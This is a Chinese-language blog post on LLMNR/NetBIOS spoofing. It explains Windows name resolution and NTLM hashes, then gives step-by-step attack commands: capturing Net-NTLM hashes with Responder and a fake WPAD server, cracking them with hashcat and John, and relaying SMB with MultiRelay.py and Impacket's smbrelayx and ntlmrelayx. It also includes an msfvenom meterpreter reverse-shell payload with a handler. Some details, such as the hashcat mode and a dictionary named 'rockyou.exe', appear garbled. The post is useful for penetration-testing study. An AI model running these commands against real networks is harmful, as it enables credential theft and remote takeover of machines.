LLMNR和NetBIOS欺骗攻击分析

发布于 2021-11-02  15 次阅读


基础原理

  • LLMNR概念 链路本地多播名称解析LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。 LLMNR 的工作过程 当一台主机想要访问到另一台主机时,1主机在自己的内部名称缓存中查询名称,如果在缓存中没有找到名称,那么2主机就会向自己配置的DNS服务器发送查询请求,如果主机没有收到回应或收到了错误信息,即DNS解析会失败,那么就会转为3使用LLMNR链路本地多播名称解析。 使用链路本地多播名称解析时,主机会通过 UDP 向局域网内发送多播查询,查询主机名对应的IP,查询范围被限制在本地子网内。本地子网内每台支持LLMNR的主机在收到这个查询请求后,收到该请求的主机会判断自己的主机名是不是这个查询的主机名。如果是,这台主机会回复自己IP地址给请求该查询的主机;如果不是则丢弃该请求。
  • NetBios概念 Netbios(Network Basic Input Output System):网络基本输入输出系统,它提供了OSI模型中的会话层服务。系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址。几乎所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。 网络基础:NetBIOS - sparkdev - 博客园 (cnblogs.com)
  • windows系统名称解析顺序(在LLMNR中有提到过)
    1. 本地hosts文件(%windir%\System32\drivers\etc\hosts)
    2. DNS缓存/DNS服务器
    • 3. 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS) 如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称。这就产生了一个安全问题。由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。通过工具监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。
  • NTLM Hash和NET-NTLM Hash NTLM hash 就是里面加密保存了用户密码的hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。如果获得了NTLM hash就可以直接用哈希传递攻击 NET-NTLM hash是基于NTLM Hash计算 NTLM认证过程(见其他页)

当攻击者发送没有被受害机本地缓存、DNS缓存过的主机名时,就会使用LLMNR和NetBIOS解析,受害机在不经过认证后就信任并响应(发送hash后的windows凭据)攻击者

抓取NET-NTLM hash

SMB:客户端(受害机)连接服务端(攻击机)时,默认会用本机的用户名和hash密码发送请求登录包。那么攻击者就可以获得NET-NTLM hash。

1. 获得NET-NTLM hash Responder工具

下载地址:https://github.com/sdfzy/Responder

功能:监听LLMNR和NetBIOS请求并自动响应认证

Responder会利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器,DNS服务器、WPAD代理服务器,以及FTP、POP3、IMAP、SMTP等服务器,收集目标网络中的明文凭据,还可以通过Multi-Relay功能在目标系统中执行命令。

1. 攻击机开启监听

responder -I eth0 -f

  • I:指定使用的网卡
  • f:允许攻击者查看受害者的主机指纹

2. 受害机发出请求

net use \\whoami

  • \[不能被解析的名称]

然后responder就能监听到请求包和hash。

2.获得NET-NTLM hash 利用WPAD

  • WPAD 网络代理自动发现协议是一种客户端使用DCHP、DNS、LLMNR、NBNS协议来定位一个代理配置文件(PAC)URL的方法。WPAD通过让浏览器自动发现代理服务器,查找存放PAC 文件(配置代理的文件)的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。
  • NBNS NetBIOS name service的缩写,是NetBIOS的命名服务。用于将NetBIOS名称映射到IP地址上。NBNS是动态DNS的一种。路由器可以通过发送NBNS状态请求以获取设备名,windows PC 接收到后通过WINS或将本地缓存发送命名信息给路由器。
  • 攻击原理 利用LLMNR/NBNS欺骗让受害机从攻击机处获取PAC文件,而PAC文件指定攻击机为代理服务器,然后攻击者就可以劫持受害者的HTTP流量,在其中插入任意HTML标签从而获得用户的Net-NTLMHash
    • 这里我产生了疑问,浏览器是怎么去查找存放PAC文件的主机,又如何将PAC文件从其他主机获取到的? WPAD原理及实现

攻击方式

Responder创建一个假的WPAD服务器,并响应客户端的WPAD名称解析,客户端就会下载一个伪造的WPAD.DAT文件

responder -I eth0 -r on -v -F on -w on

responder会像XSS一样弹出身份验证屏幕,并要求输入客户端的域用户名和密码。之后就会监听到NEt-NTLM hash

3. XSS和文件包含获取Net-NTLM hash

metasploit中的auxiliary/docx/word_unc_injector会创建一个带有unc路径的word文件,当该文件被打开的时候kali就会收到NTLMv2 hash。

对NET-NTLM hash的利用— —爆破处理

Responder会将所有抓取到的数据存储到 /usr/share/responder/logs/ 文件夹下,会为每个service-proto-IP生成唯一的文件

hashcat对NET-NTLM hash爆破

将Net-NTLM Hash保存到hash.txt中,然后

hashcat.exe -m 56 hash.txt rockyou.txt

rockyou.exe是字典

john the Ripper对hash爆破

kali自带

john XXX.txt [—wo [外部字典]]

SMB中继攻击

分为工作组环境和域环境,下只讨论域环境

即DC发出的SMB请求,被受控制机修改,并将其发送到受害机上,并获得受害机的权限。

Responder工具

扫描域内机器SMB签名开放情况

使用responder中RunFinger.py

./RunFinger.py -i [内网网段]

看到所有SMB signing:False

获取shell

python [MutiRelay.py](http://MutiRelay.py) -t <域内受害者IP> -u ALL

此时,SMB由MutiRelay.py中继

修改配置Responder.conf配置文件

使之停止抓取hash。将SMB,HTTP的On改为Off

重启Responder.py

这里responder的作用就是当访问一个不存在的共享路径,将名称解析降到LLMNR/NBNS时,来抓取网络中所有的LLMNR和NetBIOS请求并进行响应。

responder -I eth0

在DC上传递SMB流量

net use \\[不存在的主机名]

既可获得<域内受害者IP>的shell

Impacket工具

Client 1为SMB客户端,攻击者的恶意SMB服务器将请求改造,发送给Client 2

  1. 攻击者执行./smbrelayx.py -h <Client2 IP> -c <Command> command为需要在Client2执行的命令
  2. Client 1执行run use \\<攻击者IP> 相当于访问SMB服务器

Command可以替换成msf马,让Client 2 执行payload msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\shell.exe

设置好msfconsole中exploit/multi/handler监听:

use exploit/multi/hander

并打开自动进程迁移set AutoRunScript migrate

再执行./smbrelayx.py -h <Client2 IP> -e ./shell.exe

MSF中smb_relay模块(ms08-068)

(注意:Metasploit的SMBRelay只支持NTLMv1,所以在攻击一些机器时会出现“Failed to authenticate”的情况)

是对SMB客服端的自身反射

即 攻击机开启SMB服务run,受害机执行net use \\<攻击机IP>\c$,即可

Impcaket中mtlmrelayx.py

ntlmrelayx.py 脚本可以直接用现有的 hash 去尝试重放指定的机器

./ntlmrelayx.py -t <指定的被攻击 IP>

利用c选项来在目标主机上面执行命令:

./ntlmrelayx.py -t smb://<指定的被攻击 IP> -c whoami -smb2support

然后钓鱼或者配合脚本

利用c选项来执行Empire生成的 powershell payload 并配合responder来进行攻击。

ntlmrelayx.py -t 192.168.138.134 -c '生成的powershell脚本内容'

执行后,responder关闭smb和http,并重启responder -I eth0

在域控上执行net use \\whoami,产生任意smb流量


间桐桜のお菓子屋さん